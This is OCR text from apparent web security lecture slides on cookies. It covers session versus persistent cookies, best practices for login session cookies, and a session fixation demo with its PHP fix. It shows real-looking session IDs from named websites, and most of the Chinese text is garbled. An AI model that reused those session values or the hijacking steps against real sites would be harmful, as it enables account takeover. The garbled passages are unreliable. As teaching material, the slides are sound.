_ga_TKBYHT7OHKY

G51.1.1704708962.21.0.17047099a7
G51.1.17045498095.2.1.17045483

45

ntuedutw

ntuedutw

Sessm @OGEK#@:«..



Qo] & IR ER?
11,52, EAEFT S Browser 15 &
HREETER Y ~ REAIRET?
Session Cookie vs. Persistent Cookie

46



58 Brl T =

Browser & &

O] 25
g

(REHMZEA)
myNTU
x https://my.ntu.edu.tw/
IVideo
x https://www.ivideo.com.tw/

EREREEITHE

x https://www.oml-
railbike.com/_pages/general/logi

n.php
TBUR AN SR

*x https://ecpa.dgpa.gov.tw/

AR T

47

A=

7“( Ly
L1]

(FREHEA)
PChome 24H
x https://24h.pchome.com.tw/

ezfly
x https://www.ezfly.com/

Hr o CEZ Ik

x https://www.skcinemas.com/
Happy Go

* https://www.happygocard.com.tw

Google
* https://www.google.com/

MOMO [iE#/)4d

* https://www.momoshop.com.tw/



IR K| : Expire Attribute of Cookie

+ Session Cookie(Temporary)
+ 4t ExpiresHHf > Browser [ REEARL = H K.
* Persistent Cookie

« A Expires HH(THEXGMTHFE) » Browser =8 e E
SRR S FE -

Mame Walus Diormain Path  Expires / Max-Age a
AT15 d=A0ABEPzwIWOQCEDvmmgh-_...  yahoo.com / Seszion
wshop wshop_web_c_16 wwwmomos... [ Session
bid S8c163f565133772052190cb447 . momashop.c.. / Session Session Cookie
isBl 1 momoshop.c... J Session
CM undefined rmomashopc.. [/ Cession
JEESSIONID BCACTBACDS5655A1BB1534AB002E... www.momos... J Session
T undefined rmomashopc.. [/ Cession
CI undefined momashepc.. [/ Session
_atrk_ssid L7[4d0FT7z5MNjwTMNYGAcH1 momashop.c... [/ 2024-05-04T02-35:40.0002
_atrk_sessidx 3 momoshop.c... J 2024-05-04T02-39:40 0007 PeI’SIStent COOkle
_eds 1714788582 momashop.c.. [/ 2024-05-04T02-35:42 0007
_mwa_unisessi.. 17147885807 20477 718.17147885.. momoshopc.. [/ 2024-05-04T02-39:45 0007
wd 1236x545 facebookcom / 2024-05-04T02-50:08.000Z
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Session Cookie Z

< & 23 httpsy/myantuedu.tw

+ MyNTU

A | = A

‘e LD Elements  Console  Sources Metwork Performance Memory  Application Security Lighthouse Recorder J4 Perforn
» B8 Session storage * C |Filter Sx X [0 Only show cookies with an
8 IndexedDB Mame Value Domain Path  Expires / Max-Age
8 websal intutoken DAEEDACATA122T1D2C2137EEDRCA...  my.ntu.edutw / 2024-04-10T12:31:39.2...
@ Cookies g3 GA1.3.576858119.1691731963 ntu.edu.tw f 2025-02-14T13:48:09.1...
@& https://my.ntu.edu.tw _ga_WDLSMQGG2R  G51.1,1704941884.15.0.1704941884.... .ntu.edu.tw / 2025-02-14T02:58:04.2...
B Private state tokens |LASP.NET Sessionld ___ vigtpibraxxbb540sz]ziff my.ntu.edu.tw / Sessian |
8 Interest groups _ga_TL6266MDLW  G51.1,1704709962.21.0.1704709967.... .ntu.edu.tw / 2025-02-11T10:32:47.3...
> 8 shared storage _ga_TKBYHTOHKT 651.1.1704549095.2.1.1704549338.6... .ntu.edu.tw / 2025-02-09T13:55:38.6...
'k [0 Elements Console Network Sources Memory Performance Application  Privacy and security Lighthouse Re
» BB Extension storage & O Y Filter Sy (J Only show cookies witt
£ IndexedDB Name A Value Domain Path | Expires / Max-Age
~ @ Cookies PHPSESSID  ipkmcje3rktcdgjmpacfuevmrf  www.ivideo.comtw  / Session

@ https://www.ivideo.com.tw

49



A

ezlravel

+ https://www.eztravel.com.tw/

35 BEIEAPTA Browser & 1&

Expires / Max-Age
2025-06-25T07:25:18.113Z
2025-06-25T07:25:18.1132

228 PP Browser fR&1&

MName
SESSION
SESSION_SIGN
* 7
Name
SESSION
SESSION_SIGN

AN

RISEAMREE

Value
3fffe2d89a76448082c8ch4c337far3
"8vuFs LaqujTSxICSQAuZDn LMA="

/j‘E‘E

/\ [ ]
Value

18ba79cf78564316bbb2ed314cbf2b2d
"SqXWbdm0zOy8xVZiUaY 1Gxrrmk="

Domain
.eztravel.comiw /

.eztravel.comiw /

hEs B

FTERH#SHEFHEA O 2B

el
ok
cu
[}
G

E=R=5-87~

R

Path

Domain Path

£ertravel.comtw /

ertravel.comtw  /

Expires / Max-Age

Session

Session

50

EERSIRC N
Size HttpOnly Secure  SameSite
39 J v None
42 o v MNone
HHEA
Size  HttpOnly Secure SameSite
39 W v Mone
42 W v Mone



Manual Change
“Session Cookie” to “Persistent Cookie” ?

+ 1Video
+ https://www.ivideo.com.tw/

Name Value Domain Path | Expires / Max-Age
PHPSESSID  ogseru5fd8cs85hkScipu... www.ivideo.com.tw / Session
Name Value Domain Path | Expires / Max-Age

PHPSESSID ogseru5fd8cs85hk9cipu232ur  www.ivideo.com.tw / 2026-05-26T14:22:49.000Z

x I AN
+ Why ?
+ LoginSession Cookie E.1I= Timeout /& WebServer %l

+ Server IimfE2Em=5 Cookie {H » A Cookie Attributes Only
For Browser #[1{a[32E Cookie » HEH=5& 1Mz

51




YN1a] & L MR 5

Apes

1w mE

+ 1121 F12 S8R Cookie
+ LoginSession Cookie {/5{+ 4 1% WebServer
« 7752 BAPA"FA " Browserfi &
+ {23} Session Cookie %Y » Persistent Cookie HEXY
+ LoginSession Cookie {51+ 4 1E WebServer
« J5353: Click “BHi” (BEEHE)
+ LoginSession Cookie [E]HF4F Browser kz WebServer i
K/ﬂ?
A ZAEAEE (H I Cookie » [RIRFILZY.
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The scope of a cookie

«» —RCREE
+ N EHEILE Cookies &z
+ [e8PF 2R %S 5 Session Cookies

» HIRE A A EE
+ N [EfHEILE Cookies & il

x [z8 o 23R %S R Session + Persistent
Cookies

+ Command Line Browser: cURL, sglmap

« 5[5 Request & BJg 113807 » A FILE
Cookies &zH|

53



Per5|stent Cookie

e A 2 E e

= [ A" Fi7A " Browser{ &l A & HEIE
+ LoginSession Cookie 7+ WebServer {F1FH¢E] &

« Y o070 FH B S (52
« HEHAHEBREA

x R AR AR

x [ S8 S BN S

N
MR

()

L

54



LoginSession Cookie
Best Practice



*

t

o

LoginSession Cookie

Best Practice

Cookie Name Jf&## 52 (i F THE S4B =8 S5 I8 R 2 el B =
x+ ASP.NET_Sessionld, PHPSESSID, JSESSIONID, *SID, *SESSION_ID
JEFEMEE " THEE » WEE R Browser and Server I Cookie
« |dle —EGIFfTR - JEFEML HEIS T8
JERE TR oA ABY » FEE4E LoginSession Cookie
+ 0] EORE Cookie Name
« [ SEFERE Server B
Cookie Value
« NFERE(T User ID B¢ HARRIAERR A6
x NERE{dH & 8l A{E(Session Fixation/Adoption Vulnerability)
Cookie Attributes JEZZE4] NME
+ HttpOnly= True, Secure= True, Samesite= Lax/Strict
« W NEE U] ReA CSRF JJ0[H] b
x Samesite= NULL or None
+ Samesite= Lax H i HTTP GET {&i&
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Cookie Name Bt 2 b FHYEEZ B T8
2B RBE A Z BEETF

* 1Video

‘x LD Elements Console Sources  Network  Performance

Memory  Application  Privacy and security Lighthouse  Reco

& IndexedDB 4 C Y Filter =x X [0 Only show cookies v
~ (7 Cookies Name Value Domain Path Expires / Max-Age
@ httpsy//www.ivideo.com.tw . PHPSESSID ogseru5fd8cs85hk9cipu232ur | www.ivideo.com.tw  / Session

‘e LD Elements  Console

v (& Cookies
@ httpsy/my.ntu.edu.tw
B Private state tokens

F

Metwork Sources

Memory  Performance  Application S

C Y Filter
Name 4 Value Domain
ASENET Sessionld | gumvxz55zeedru450du35p45 my.ntu.ed...
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BB REAR - BEL
LoginSession Cookie

4

* 1Video
+ https://www.ivideo.com.tw/

‘® [0 Elements Console Sources Network Performance Memory Application  Privacy and security Lighthouse  Reco
é IndexedDB i & C Y Filter =x X [J Only show cookies v
~ () Cookies Name Value Domain Path Expires / Max-Age
© httpsy//www.ivideo.com.tw . PHPSESSID ogseru5fd8cs85hk9cipu232ur | www.ivideo.com.tw  / Session

+ MyNTU
+ https://my.ntu.edu.tw

Mame a  Value Domain Path | Expires / Max-A__. | Size HttpOnly | Secure SameSite

ASPMET Sessionld | 1y20evkbwjfiydw... | myntuedutw |/ Session 41 Lax
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4

* ZUFHD

& it 52 1]

+ https://www.edu.tw

< C m %=

{! \" AP

/\\\{;C{Tﬁ(/\yjﬁb

EAR - RIES

LoginSession Cookie

wiwwsedutw/Default.aspx

AR A

Ministry of Education

1 English | g8k

» E{alEE4E Loginsession Cookie ? #rimz: s=5

‘e IO Elements Console Metwork  Sources

b EH Extension storage
B IndexedDE
~ (3 Cookies
> https/fwww edu tw
B Private state tokens

- & Y Filter

Mame

Memory  Performance  Application

o

Value Dormain

[AZPMET Sessionld

2dfnrbhanglkbehd 3ezqo5im| www. edu tw

font_size
LE www.edu tw

Fr w2l tw
2970513292 4787 3.0000 wew . edu tw

59

Privacy and security

[ Only show cookies

Path
{
£
{

Expires /M.
Sessian
Sessian

Sessian



EATES

- LoginSession Cookie

= BIFE T

BEFHAEEEEE&RA? faIHSEE 4 LoginSession Cookie ?

<?php

session_start();

if ($_SESSION['login]) {
echo " & & A"

} else {
echo "[EARE A"

}

2>

*

+ session_start(); fEFH

1. EEEH LoginSession
Cookie

2.5 (EHRA
dit: BT AR — 1]

« if ($_SESSION[‘login’]) /EH
« AL Cookie BEHRY

60


http://demo3.buda.idv.tw/php/login/login_check_v1.php

REAMEE LoginSession Cookie

HRERME R

~# cd /var/lib/php/sessions/
* { LoginSession Cookie %ﬁﬁj (| FE ZE

tot 11 lﬁ
drwx-wx-wt 2 root root 4096 ¥
drwxr-xr-x 4 root root 4096 Max
ST 1 www-data www-data } May 10 sess dahmhgvvocYSkcefstShemeefOf
B SR 1 www-data www-datez ) May 10 11:46 sess mnltthhLQvn}hfkh7q\dfﬁﬂﬂu
- W - 1 www-data www-dats ) May 10 11:46 sess rOvylirvppubmS7mps8voaZvak
“IWe----n-- 1 www-data www-data ] May 10 [1:45 ac\a_rLuﬁJLh1HpJ1\§h;u1ﬁtpvrwm1
B R 1 www-data www-date ] May 10 11:25 sess uhgeO9hfs7giro3drisrdanisc
* RIE T
~# curl

http://demo3.buda.idv.tw/php/login/login_check_v1.php
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i 0 R E ATLESE LoginSession Cookie
S BIFET
REFFERSEEBA?  (SEEE

<?php
//Check "LoginSession Cookie" first. JE S B =& L {FAE LoginSession
If ($_COOKIE['PHPSESSID')){ Cookie
session_start();
if ($_SESSION['login']) { #: Cooke TL{FAE » A FiRE TG IE T
echo "&& B A"
exit():

}
}
echo "R B

>

62


http://demo3.buda.idv.tw/php/login/login_check_v2.php

Cookie Value

AEERSEHZFHEMAE

+ Session Fixation/Adoption Vulnerability

+ Permits an attacker to hijack a valid user
session.

+ When authenticating a user, it doesn’t assign a
new session ID, and use an existent session ID.

« PHP s3]
session_start();
1. EEESEA LoginSession Cookie
2.5 [HiHIHA - Session Fixation Vulnerability
i e A —1lE
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Session Fixation Vulnerability

+ Demo Site
+ https://demo3.buda.idv.tw/php/login/login.php

+ PHPSESSID
+ C35tmuilgptrrva44i6umg78ks (J5H451H)

x 1111 (RE A [E)
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Session Fixation Vulnerability

+ A5 use strict session mode.

+ Does not accept an uninitialized session ID, and
regenerates the session ID.

+ Ubuntu 22.04: /etc/php/8.1/apache2/php.ini
+ Ubuntu 24.04: /etc/php/8.3/apache2/php.ini
session.use_strict_mode=1 (defaultis O)

~# systemctl restart apache?2

* Ref.

+ https://owasp.org/www-
community/attacks/Session_fixation

+ https://wiki.php.net/rfc/strict_sessions
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'S H Cookie T R = E1k”

+ [z5 5] Cookie
* [ RAERIZ

2V -> rEEEE > HA NS E:

AT 2 B ImH Y EDR

+ chrome://settings/content/siteData

=n=n—
ﬁni:;_-’“ﬂ_:

BAnEEREIREHEREE

'Ll-'-|
Hev JE

AFRREERE LREFEH
O @ BUEE B EETEEF

EFESERNElRanEEIESNER
O B @\uusEsTEER - BEFA Chrome B5% » 24 SRS L ADSHEY  BMEREEA
Chrome » Google IRETIEEFTEAME -

® =

TR ERE FREEN (F2F)
FUEEEEEEERIEE - IRIF »Tm .5'5 ZELTHEVBETEN  ZEEEEEE -




/3

72 Cookie TE = /E1x

+ LoginSession Cookie
« FTATRIREE A Z @l EEE A
+ Normal Cookie

*

H RS RO EE

+ https://www.natgeomedia.com/
A OB AR E BT B AU GRS

« https.//www.oml-railbike.com/

BRE

IR A A

« https://online.ntuspecs.ntu.edu.tw

MOMO

e S ER N WA T

« https://www.momoshop.com.tw/
24H PChome: 48 B £~
+ https://24h.pchome.com.tw/
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Normal vs. LoginSession Cookie

Created by Name(dh 2535

LoginSession  Server Both By WebServer [ 2K

Cookie (SSID, SESSION_ID) {EZ%@L%{
Normal Serveror  ClientOnly 1 ormany By Client JEE =
Cookie Client EiussziEll))

LoginSession / Expire Attr(Browser) or Login Credential
Cookie (WebServer £ 1E) Session TimeOut(Server)
Normal HEifEZfEH$Et Expire Attr(Browser) Ul Friendly ~ User

Cookie Preference ...
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